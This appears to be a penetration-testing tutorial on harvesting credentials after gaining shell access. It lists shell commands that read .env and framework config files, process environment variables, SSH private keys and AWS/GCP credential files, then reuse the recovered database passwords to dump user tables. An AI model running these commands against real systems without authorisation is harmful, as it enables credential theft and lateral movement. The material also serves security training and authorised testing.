Skip to content

Credential Harvesting from Web Configs

6 min read Created Mar 28, 2026 Last updated Apr 24, 2026

Web application configuration files contain the most reliable credentials on a target: database passwords, API keys, SMTP credentials, and cloud access tokens that must exist for the application to function. These rarely change and are often reused across services. Collect them immediately after gaining shell access, before attempting privilege escalation. Database passwords from web configs regularly work against SSH, sudo, and other local accounts. API keys often grant access to infrastructure entirely outside the web server. Cloud tokens work directly from your Kali machine without further access to the target. Start here before any other post-exploitation technique.

High-value credential sources to check after gaining access:

  • .env files with database passwords, API keys, and mail credentials
  • PHP config files and WordPress wp-config.php with hardcoded database constants
  • Django settings.py and Rails database.yml with embedded connection strings
  • Process environment variables injected by container runtimes
  • SSH private keys and AWS/GCP credential files in home directories

Find Configuration Files

Locate common config file locations across all web applications on the server. Multiple results mean multiple applications with independent credential sets. Applications deployed to /opt or /home are frequently missed in targeted searches. Check every file returned, not just the first one. A single .env file is typical for Laravel, Django, and Rails deployments. Configs under /srv belong to secondary applications and are easy to overlook.

user@host ~ $ find /var/www /srv /opt /home -name '.env' -o -name 'config.php' -o -name 'database.yml' -o -name 'settings.py' -o -name 'web.config' -o -name 'application.properties' -o -name 'config.yml' 2>/dev/null
/var/www/html/.env
/var/www/html/config/database.yml
/opt/app/settings.py
user@host ~ $ find /var/www /srv /opt /home -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | grep -v '/proc/' | head -20

Web Application Credential Harvesting from Config Files

Each format stores credentials differently, but the patterns are consistent. Look for password, secret, key, and token fields in every file you find. The .env format is the simplest: flat key=value pairs with nothing wrapping the values. PHP config files hardcode credentials directly in variable assignments. WordPress uses define() constants in wp-config.php for all database settings. Django settings files embed the database password inside a nested DATABASES dictionary. Grep the files directly if the format is unfamiliar.

user@host ~ $ cat /var/www/html/.env
APP_KEY=base64:abc123==
DB_HOST=127.0.0.1
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=SuperSecret123!
MAIL_PASSWORD=smtp_password
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalr...
user@host ~ $ cat /var/www/html/config.php | grep -iE 'pass|user|host|key|secret|token'
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'r00tpassword!';
$api_key = 'sk-prod-abc123xyz';
user@host ~ $ cat /var/www/html/wp-config.php | grep -E "DB_|table_prefix|AUTH_KEY|SECURE_AUTH"
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'wp_password123');
define('DB_HOST', 'localhost');
user@host ~ $ cat /opt/app/settings.py | grep -iE 'password|secret|key|user|host'
SECRET_KEY = 'django-insecure-abc123'
DATABASES = {'default': {'PASSWORD': 'db_password_here'}}

Search all web application files recursively for credential patterns. This catches credentials embedded in source files outside of dedicated config files. Output lines include the file path, line number, and the matched value. Long random strings after api_key= or secret= are almost always real credentials. Short obvious values in minified JS files are usually placeholder sample code. Ignore matches in test fixtures and vendor directories. Pipe output to a file when the result set is large enough to scroll past.

user@host ~ $ grep -rn --include='*.php' --include='*.py' --include='*.rb' --include='*.js' --include='*.yml' --include='*.yaml' --include='*.conf' --include='*.env' -iE '(password|passwd|pwd|secret|api_key|apikey|auth_token|access_key)[[:space:]]*[=:][[:space:]]*["'"'"'][^"'"'"']{4,}' /var/www/ 2>/dev/null | grep -v '.min.js'
/var/www/html/includes/db.php:3:$password = 'admin123!';
/var/www/html/.env:8:DB_PASSWORD=SuperSecret123!

Database Credential Reuse Testing

Use extracted database credentials to connect directly and dump further data. A successful connection confirms the credentials are live. Query the users table first, since it often contains application account passwords. Those passwords are frequently reused for OS-level logins and SSH. Check what privileges the database user holds before moving on. The FILE privilege allows reading arbitrary files on disk or writing a web shell via SELECT INTO OUTFILE. Root-level MySQL access exposes every database on the host.

user@host ~ $ mysql -u webapp_user -pSuperSecret123! -h 127.0.0.1 webapp -e 'SELECT user,password,email FROM users LIMIT 20;'
user@host ~ $ mysql -u root -pr00tpassword! -e 'SELECT user,authentication_string FROM mysql.user;'

Environment Variables

Running processes may have credentials injected through environment variables not visible in config files. Container deployments and orchestrated services routinely pass secrets this way instead of mounting config files. PID 1 is often the main application process or the container entry point. Secrets visible there were set by the container runtime at startup and may not appear anywhere on disk. AWS_SECRET_ACCESS_KEY, DATABASE_URL, and SMTP_PASSWORD are high-value targets. Treat environment variable credentials the same as file-based ones. Check the web server process environment:

user@host ~ $ cat /proc/1/environ | tr '\0' '\n' | grep -iE 'pass|key|secret|token|api'
user@host ~ $ ps aux | grep -iE 'php|python|ruby|node|java' | awk '{print $1}' | sort -u | while read pid; do cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|secret|key|token'; done

SSH Keys and Cloud Credentials

Check home directories reachable from the web server user for SSH keys and cloud credentials. Web applications frequently run as www-data or a dedicated service account. If that account can read /home/developer/.ssh/id_rsa, you have direct SSH access to any host that key is authorized on. A credentials file under .aws/ contains AWS access keys in plaintext. GCP application default credentials live in .config/gcloud/ as a JSON file with an embedded private key. Check the current user's own .ssh directory as well.

user@host ~ $ find /home /root /var/www -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name 'credentials' 2>/dev/null
/var/www/.ssh/id_rsa
/home/developer/.ssh/id_rsa
user@host ~ $ cat /var/www/.ssh/id_rsa 2>/dev/null && cat /home/*/.aws/credentials 2>/dev/null && cat /home/*/.config/gcloud/application_default_credentials.json 2>/dev/null

A readable SSH private key allows direct SSH login as the key owner. Test immediately against the target itself and any other hosts discovered through network enumeration. Cloud credentials enable lateral movement into the cloud environment from your Kali machine. If the private key is passphrase-protected, attempt to crack it with ssh2john and hashcat. Production SSH keys often lack passphrases because automated deployments require unattended access. Check authorized_keys on the local machine to confirm the key works locally before testing remote hosts. Reuse the same key against every other host before assuming it is target-specific.

References